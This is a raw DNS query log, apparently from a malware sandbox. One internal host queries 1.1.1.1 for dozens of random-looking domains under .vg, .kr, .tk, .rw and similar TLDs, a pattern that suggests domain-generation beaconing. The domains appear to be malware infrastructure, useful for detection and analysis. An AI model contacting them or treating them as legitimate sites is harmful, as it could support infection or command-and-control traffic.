Sep 8, 2024 08:41:43.457163095 CEST	192.168.2.5	1.1.1.1	0x2154	Standard query (0)	rpatujwyyeauc.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:44.606662035 CEST	192.168.2.5	1.1.1.1	0x50b4	Standard query (0)	kusgo.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:45.762090921 CEST	192.168.2.5	1.1.1.1	0xa71c	Standard query (0)	aswsuqqyipi.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:45.822443962 CEST	192.168.2.5	1.1.1.1	0x1753	Standard query (0)	aswsuqqyipi.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:45.980727911 CEST	192.168.2.5	1.1.1.1	0xfcf8	Standard query (0)	aecaecdyk.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.090538979 CEST	192.168.2.5	1.1.1.1	0xc8dd	Standard query (0)	mqzjvgwoe.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.148951054 CEST	192.168.2.5	1.1.1.1	0xf499	Standard query (0)	mqzjvgwoe.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.324512005 CEST	192.168.2.5	1.1.1.1	0xc9a7	Standard query (0)	defybeg.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.343873978 CEST	192.168.2.5	1.1.1.1	0x74e0	Standard query (0)	defybeg.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:47.605453014 CEST	192.168.2.5	1.1.1.1	0x74e0	Standard query (0)	defybeg.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:48.262608051 CEST	192.168.2.5	1.1.1.1	0x7e5a	Standard query (0)	rqqwsuplosaay.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:48.277404070 CEST	192.168.2.5	1.1.1.1	0x8af0	Standard query (0)	rqqwsuplosaay.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:48.402888060 CEST	192.168.2.5	1.1.1.1	0xc0a1	Standard query (0)	sqiwemahodcdmo.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:48.671490908 CEST	192.168.2.5	1.1.1.1	0xc0a1	Standard query (0)	sqiwemahodcdmo.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:49.422717094 CEST	192.168.2.5	1.1.1.1	0x3f66	Standard query (0)	sqiwemahodcdmo.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:49.668370962 CEST	192.168.2.5	1.1.1.1	0x3f66	Standard query (0)	sqiwemahodcdmo.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:50.246359110 CEST	192.168.2.5	1.1.1.1	0x1fbd	Standard query (0)	urhosiqrdta.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:50.421329975 CEST	192.168.2.5	1.1.1.1	0x6162	Standard query (0)	urhosiqrdta.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:50.699678898 CEST	192.168.2.5	1.1.1.1	0x2114	Standard query (0)	mycccldql.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:51.841026068 CEST	192.168.2.5	1.1.1.1	0xa38d	Standard query (0)	vsubiec.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.009239912 CEST	192.168.2.5	1.1.1.1	0xeb1a	Standard query (0)	vsubiec.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.261791945 CEST	192.168.2.5	1.1.1.1	0xeb1a	Standard query (0)	vsubiec.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.412550926 CEST	192.168.2.5	1.1.1.1	0x95a4	Standard query (0)	tkeyamzgkwokwt.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.451694012 CEST	192.168.2.5	1.1.1.1	0xb30c	Standard query (0)	tkeyamzgkwokwt.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.591113091 CEST	192.168.2.5	1.1.1.1	0x57bc	Standard query (0)	wriaroies.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.608357906 CEST	192.168.2.5	1.1.1.1	0x7597	Standard query (0)	wriaroies.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:52.855848074 CEST	192.168.2.5	1.1.1.1	0x7597	Standard query (0)	wriaroies.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:53.605673075 CEST	192.168.2.5	1.1.1.1	0xd4b	Standard query (0)	wympeicgo.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:53.718089104 CEST	192.168.2.5	1.1.1.1	0xbdfb	Standard query (0)	wympeicgo.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:53.968015909 CEST	192.168.2.5	1.1.1.1	0xbdfb	Standard query (0)	wympeicgo.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:54.325006962 CEST	192.168.2.5	1.1.1.1	0x4bf3	Standard query (0)	akecockyj.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:54.574170113 CEST	192.168.2.5	1.1.1.1	0x4bf3	Standard query (0)	akecockyj.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:54.907166004 CEST	192.168.2.5	1.1.1.1	0x5dc	Standard query (0)	akecockyj.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:55.262633085 CEST	192.168.2.5	1.1.1.1	0x2bd5	Standard query (0)	pncalcu.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:55.430548906 CEST	192.168.2.5	1.1.1.1	0x46b7	Standard query (0)	pncalcu.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:55.731081009 CEST	192.168.2.5	1.1.1.1	0x6756	Standard query (0)	qrisq.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:55.996237040 CEST	192.168.2.5	1.1.1.1	0x6756	Standard query (0)	qrisq.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:56.865144968 CEST	192.168.2.5	1.1.1.1	0xfe1a	Standard query (0)	qrisq.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.058969021 CEST	192.168.2.5	1.1.1.1	0x78f3	Standard query (0)	sbauaycnt.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.082062006 CEST	192.168.2.5	1.1.1.1	0x3860	Standard query (0)	sbauaycnt.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.211282969 CEST	192.168.2.5	1.1.1.1	0x5216	Standard query (0)	isegw.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.467664003 CEST	192.168.2.5	1.1.1.1	0x5216	Standard query (0)	isegw.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.513267040 CEST	192.168.2.5	1.1.1.1	0x743d	Standard query (0)	isegw.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.636920929 CEST	192.168.2.5	1.1.1.1	0xa9a9	Standard query (0)	qhfcwsu.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.886702061 CEST	192.168.2.5	1.1.1.1	0xa9a9	Standard query (0)	qhfcwsu.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:58.273143053 CEST	192.168.2.5	1.1.1.1	0xdf8b	Standard query (0)	qhfcwsu.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:58.532592058 CEST	192.168.2.5	1.1.1.1	0xdf8b	Standard query (0)	qhfcwsu.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:59.465167046 CEST	192.168.2.5	1.1.1.1	0xcabf	Standard query (0)	xyumagcja.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:00.647504091 CEST	192.168.2.5	1.1.1.1	0x6b37	Standard query (0)	wwemigepcoiz.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:01.793251038 CEST	192.168.2.5	1.1.1.1	0x4a4c	Standard query (0)	iopqq.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:02.952492952 CEST	192.168.2.5	1.1.1.1	0x4507	Standard query (0)	jgrqg.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:03.043137074 CEST	192.168.2.5	1.1.1.1	0x5a50	Standard query (0)	jgrqg.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:03.184617996 CEST	192.168.2.5	1.1.1.1	0x1c01	Standard query (0)	idsos.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:04.309046984 CEST	192.168.2.5	1.1.1.1	0x43af	Standard query (0)	mlgxhacwvfbi.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:04.574168921 CEST	192.168.2.5	1.1.1.1	0x43af	Standard query (0)	mlgxhacwvfbi.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:04.651453018 CEST	192.168.2.5	1.1.1.1	0x8b07	Standard query (0)	mlgxhacwvfbi.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:04.886626959 CEST	192.168.2.5	1.1.1.1	0x8b07	Standard query (0)	mlgxhacwvfbi.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.262258053 CEST	192.168.2.5	1.1.1.1	0x220e	Standard query (0)	wmksk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.443572044 CEST	192.168.2.5	1.1.1.1	0x5261	Standard query (0)	wmksk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.718188047 CEST	192.168.2.5	1.1.1.1	0xb641	Standard query (0)	kqkhwao.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.822139978 CEST	192.168.2.5	1.1.1.1	0xc046	Standard query (0)	kqkhwao.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.965969086 CEST	192.168.2.5	1.1.1.1	0xca8e	Standard query (0)	evcwcpb.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.139946938 CEST	192.168.2.5	1.1.1.1	0x5fd8	Standard query (0)	evcwcpb.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.423649073 CEST	192.168.2.5	1.1.1.1	0xf191	Standard query (0)	vknvwzsgkdafw.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.668499947 CEST	192.168.2.5	1.1.1.1	0xf191	Standard query (0)	vknvwzsgkdafw.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.709127903 CEST	192.168.2.5	1.1.1.1	0x5342	Standard query (0)	vknvwzsgkdafw.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:07.059122086 CEST	192.168.2.5	1.1.1.1	0x606f	Standard query (0)	arnzcgwgcpw.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:07.307468891 CEST	192.168.2.5	1.1.1.1	0xc2c8	Standard query (0)	arnzcgwgcpw.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:07.592398882 CEST	192.168.2.5	1.1.1.1	0x7a76	Standard query (0)	ekegloi.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:07.822249889 CEST	192.168.2.5	1.1.1.1	0xb250	Standard query (0)	ekegloi.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:08.192276001 CEST	192.168.2.5	1.1.1.1	0x8c0e	Standard query (0)	qeojgqcuumrlu.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:08.441940069 CEST	192.168.2.5	1.1.1.1	0x23ac	Standard query (0)	qeojgqcuumrlu.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:08.715117931 CEST	192.168.2.5	1.1.1.1	0x9b90	Standard query (0)	ywayqmkywiir.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:08.917021990 CEST	192.168.2.5	1.1.1.1	0xf14f	Standard query (0)	ywayqmkywiir.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.152595043 CEST	192.168.2.5	1.1.1.1	0xa8ad	Standard query (0)	kqciuiobe.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.418019056 CEST	192.168.2.5	1.1.1.1	0xa8ad	Standard query (0)	kqciuiobe.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.526529074 CEST	192.168.2.5	1.1.1.1	0x25ca	Standard query (0)	kqciuiobe.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.699673891 CEST	192.168.2.5	1.1.1.1	0xa40d	Standard query (0)	ngkobuyadgm.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:10.887229919 CEST	192.168.2.5	1.1.1.1	0x9a7c	Standard query (0)	uowdwhooa.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.014847994 CEST	192.168.2.5	1.1.1.1	0x751c	Standard query (0)	uowdwhooa.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.355696917 CEST	192.168.2.5	1.1.1.1	0xa014	Standard query (0)	yrxzinwsmcc.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.400149107 CEST	192.168.2.5	1.1.1.1	0xddeb	Standard query (0)	yrxzinwsmcc.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.657383919 CEST	192.168.2.5	1.1.1.1	0xddeb	Standard query (0)	yrxzinwsmcc.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.021497011 CEST	192.168.2.5	1.1.1.1	0x9b76	Standard query (0)	uakobwqfsn.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.036756992 CEST	192.168.2.5	1.1.1.1	0x597b	Standard query (0)	uakobwqfsn.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.152686119 CEST	192.168.2.5	1.1.1.1	0xad2b	Standard query (0)	kmicsceovzoe.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.417824030 CEST	192.168.2.5	1.1.1.1	0xad2b	Standard query (0)	kmicsceovzoe.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.691833973 CEST	192.168.2.5	1.1.1.1	0x5039	Standard query (0)	kmicsceovzoe.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.918375969 CEST	192.168.2.5	1.1.1.1	0x605f	Standard query (0)	msrkbbbmxss.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:13.168955088 CEST	192.168.2.5	1.1.1.1	0x605f	Standard query (0)	msrkbbbmxss.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.185147047 CEST	192.168.2.5	1.1.1.1	0x605f	Standard query (0)	msrkbbbmxss.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.275609016 CEST	192.168.2.5	1.1.1.1	0xc285	Standard query (0)	msrkbbbmxss.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.511636972 CEST	192.168.2.5	1.1.1.1	0xc285	Standard query (0)	msrkbbbmxss.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.669141054 CEST	192.168.2.5	1.1.1.1	0x4715	Standard query (0)	cfmxetkiwgt.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.680807114 CEST	192.168.2.5	1.1.1.1	0x2be4	Standard query (0)	cfmxetkiwgt.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.811505079 CEST	192.168.2.5	1.1.1.1	0xef7e	Standard query (0)	ykoik.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:16.093406916 CEST	192.168.2.5	1.1.1.1	0x207e	Standard query (0)	plgscda.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.261957884 CEST	192.168.2.5	1.1.1.1	0x16d7	Standard query (0)	csohewug.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.285670996 CEST	192.168.2.5	1.1.1.1	0xdd4f	Standard query (0)	csohewug.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.558826923 CEST	192.168.2.5	1.1.1.1	0xca48	Standard query (0)	egmoaoutdmm.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.569876909 CEST	192.168.2.5	1.1.1.1	0xfb3a	Standard query (0)	egmoaoutdmm.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.684034109 CEST	192.168.2.5	1.1.1.1	0x23d9	Standard query (0)	rnmkcgd.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.881392956 CEST	192.168.2.5	1.1.1.1	0xf2ec	Standard query (0)	rnmkcgd.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:19.730920076 CEST	192.168.2.5	1.1.1.1	0x63e1	Standard query (0)	oygsg.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:20.887162924 CEST	192.168.2.5	1.1.1.1	0x53a6	Standard query (0)	ucejh.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:22.029026031 CEST	192.168.2.5	1.1.1.1	0xc17e	Standard query (0)	ootybuwkgpef.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:22.107821941 CEST	192.168.2.5	1.1.1.1	0xed6e	Standard query (0)	ootybuwkgpef.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:22.266288042 CEST	192.168.2.5	1.1.1.1	0x1c03	Standard query (0)	aicmcvzsn.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:22.527234077 CEST	192.168.2.5	1.1.1.1	0x1c03	Standard query (0)	aicmcvzsn.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.084003925 CEST	192.168.2.5	1.1.1.1	0xa8b3	Standard query (0)	aicmcvzsn.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.326899052 CEST	192.168.2.5	1.1.1.1	0xa8b3	Standard query (0)	aicmcvzsn.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.855684042 CEST	192.168.2.5	1.1.1.1	0x1c04	Standard query (0)	hdyggmcsqtebyr.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.963426113 CEST	192.168.2.5	1.1.1.1	0x4488	Standard query (0)	hdyggmcsqtebyr.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:24.325562954 CEST	192.168.2.5	1.1.1.1	0x982e	Standard query (0)	gkquszao.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:25.450546026 CEST	192.168.2.5	1.1.1.1	0x937c	Standard query (0)	nmqvzqwamexms.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:25.718348980 CEST	192.168.2.5	1.1.1.1	0x937c	Standard query (0)	nmqvzqwamexms.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:26.141640902 CEST	192.168.2.5	1.1.1.1	0xeac9	Standard query (0)	nmqvzqwamexms.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:26.390391111 CEST	192.168.2.5	1.1.1.1	0xeac9	Standard query (0)	nmqvzqwamexms.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:27.090178013 CEST	192.168.2.5	1.1.1.1	0xdb85	Standard query (0)	tjvzoso.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:27.131577015 CEST	192.168.2.5	1.1.1.1	0x8b3c	Standard query (0)	tjvzoso.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:27.277631044 CEST	192.168.2.5	1.1.1.1	0xccce	Standard query (0)	aqggeh.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:28.465262890 CEST	192.168.2.5	1.1.1.1	0x404b	Standard query (0)	quwigcsme.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:28.730562925 CEST	192.168.2.5	1.1.1.1	0x404b	Standard query (0)	quwigcsme.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:29.008872032 CEST	192.168.2.5	1.1.1.1	0x759d	Standard query (0)	quwigcsme.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:29.230956078 CEST	192.168.2.5	1.1.1.1	0x88f2	Standard query (0)	tsuefuygjjqw.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:29.487541914 CEST	192.168.2.5	1.1.1.1	0x88f2	Standard query (0)	tsuefuygjjqw.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:29.736197948 CEST	192.168.2.5	1.1.1.1	0xe836	Standard query (0)	tsuefuygjjqw.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:29.980695963 CEST	192.168.2.5	1.1.1.1	0xe836	Standard query (0)	tsuefuygjjqw.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:30.192122936 CEST	192.168.2.5	1.1.1.1	0xe0bd	Standard query (0)	yubwvmejylfk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:30.378073931 CEST	192.168.2.5	1.1.1.1	0x4e18	Standard query (0)	yubwvmejylfk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:30.677964926 CEST	192.168.2.5	1.1.1.1	0x3e6	Standard query (0)	dscpiycqvwmzyy.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:31.855671883 CEST	192.168.2.5	1.1.1.1	0x7a9e	Standard query (0)	zkqsq.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:31.926417112 CEST	192.168.2.5	1.1.1.1	0x1cbd	Standard query (0)	zkqsq.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.074584961 CEST	192.168.2.5	1.1.1.1	0x625e	Standard query (0)	gecwicguubuio.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.114464045 CEST	192.168.2.5	1.1.1.1	0x629d	Standard query (0)	gecwicguubuio.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.271658897 CEST	192.168.2.5	1.1.1.1	0xcb24	Standard query (0)	cixzeubisg.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.307214022 CEST	192.168.2.5	1.1.1.1	0x57ad	Standard query (0)	cixzeubisg.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.610657930 CEST	192.168.2.5	1.1.1.1	0xfc45	Standard query (0)	wkueptqz.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.658771038 CEST	192.168.2.5	1.1.1.1	0xef88	Standard query (0)	wkueptqz.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.777678967 CEST	192.168.2.5	1.1.1.1	0x60d4	Standard query (0)	pwdynpushjp.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:33.904231071 CEST	192.168.2.5	1.1.1.1	0x4e6b	Standard query (0)	oyiunwqqgqn.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:33.934734106 CEST	192.168.2.5	1.1.1.1	0xcc34	Standard query (0)	oyiunwqqgqn.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.058999062 CEST	192.168.2.5	1.1.1.1	0x3d2b	Standard query (0)	ypowuio.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.092981100 CEST	192.168.2.5	1.1.1.1	0x8384	Standard query (0)	ypowuio.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.219557047 CEST	192.168.2.5	1.1.1.1	0xeac3	Standard query (0)	qzyobaes.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.480391979 CEST	192.168.2.5	1.1.1.1	0xeac3	Standard query (0)	qzyobaes.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.959378004 CEST	192.168.2.5	1.1.1.1	0x683	Standard query (0)	qzyobaes.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:36.606652021 CEST	192.168.2.5	1.1.1.1	0x4f72	Standard query (0)	oqbuiyiqauknm.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:36.634007931 CEST	192.168.2.5	1.1.1.1	0xa2e2	Standard query (0)	oqbuiyiqauknm.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:36.746678114 CEST	192.168.2.5	1.1.1.1	0x8547	Standard query (0)	lmncsuraag.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:36.846054077 CEST	192.168.2.5	1.1.1.1	0xd680	Standard query (0)	lmncsuraag.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.058832884 CEST	192.168.2.5	1.1.1.1	0x5fd6	Standard query (0)	btocm.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.238248110 CEST	192.168.2.5	1.1.1.1	0xd64b	Standard query (0)	btocm.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.517955065 CEST	192.168.2.5	1.1.1.1	0x272c	Standard query (0)	cgoqalar.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.536422014 CEST	192.168.2.5	1.1.1.1	0x4762	Standard query (0)	cgoqalar.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.652757883 CEST	192.168.2.5	1.1.1.1	0xdc9a	Standard query (0)	laaaryyqk.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:38.813886881 CEST	192.168.2.5	1.1.1.1	0x20dc	Standard query (0)	kecyzra.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:38.991056919 CEST	192.168.2.5	1.1.1.1	0xc751	Standard query (0)	kecyzra.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.277642012 CEST	192.168.2.5	1.1.1.1	0x2536	Standard query (0)	xdilosehzucu.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.456708908 CEST	192.168.2.5	1.1.1.1	0x1714	Standard query (0)	xdilosehzucu.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.762208939 CEST	192.168.2.5	1.1.1.1	0xad07	Standard query (0)	ztoke.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.781534910 CEST	192.168.2.5	1.1.1.1	0x25e3	Standard query (0)	ztoke.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.902932882 CEST	192.168.2.5	1.1.1.1	0x3e07	Standard query (0)	mqqklel.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:41.090457916 CEST	192.168.2.5	1.1.1.1	0xcaf2	Standard query (0)	ucuuyes.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:42.199799061 CEST	192.168.2.5	1.1.1.1	0x737b	Standard query (0)	siaqwowge.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:43.308996916 CEST	192.168.2.5	1.1.1.1	0x97b0	Standard query (0)	awynquuygqm.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:43.558358908 CEST	192.168.2.5	1.1.1.1	0x2e05	Standard query (0)	awynquuygqm.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:43.824764967 CEST	192.168.2.5	1.1.1.1	0xd808	Standard query (0)	skuuqsn.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.074347973 CEST	192.168.2.5	1.1.1.1	0xd808	Standard query (0)	skuuqsn.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.079047918 CEST	192.168.2.5	1.1.1.1	0x3d	Standard query (0)	skuuqsn.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.325588942 CEST	192.168.2.5	1.1.1.1	0x3d	Standard query (0)	skuuqsn.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.434750080 CEST	192.168.2.5	1.1.1.1	0x2b58	Standard query (0)	byfqgessikm.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:45.652528048 CEST	192.168.2.5	1.1.1.1	0xbbdc	Standard query (0)	stivhqwg.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:47.762309074 CEST	192.168.2.5	1.1.1.1	0xd070	Standard query (0)	yaeabom.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:48.996517897 CEST	192.168.2.5	1.1.1.1	0xa41e	Standard query (0)	iumaqijuquoiyk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.250416994 CEST	192.168.2.5	1.1.1.1	0xa41e	Standard query (0)	iumaqijuquoiyk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.275809050 CEST	192.168.2.5	1.1.1.1	0x391	Standard query (0)	iumaqijuquoiyk.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.544032097 CEST	192.168.2.5	1.1.1.1	0x74d6	Standard query (0)	cucmlgnuo.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.581533909 CEST	192.168.2.5	1.1.1.1	0x9f1f	Standard query (0)	cucmlgnuo.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.839999914 CEST	192.168.2.5	1.1.1.1	0x9f1f	Standard query (0)	cucmlgnuo.st	A (IP address)	IN (0x0001)	false
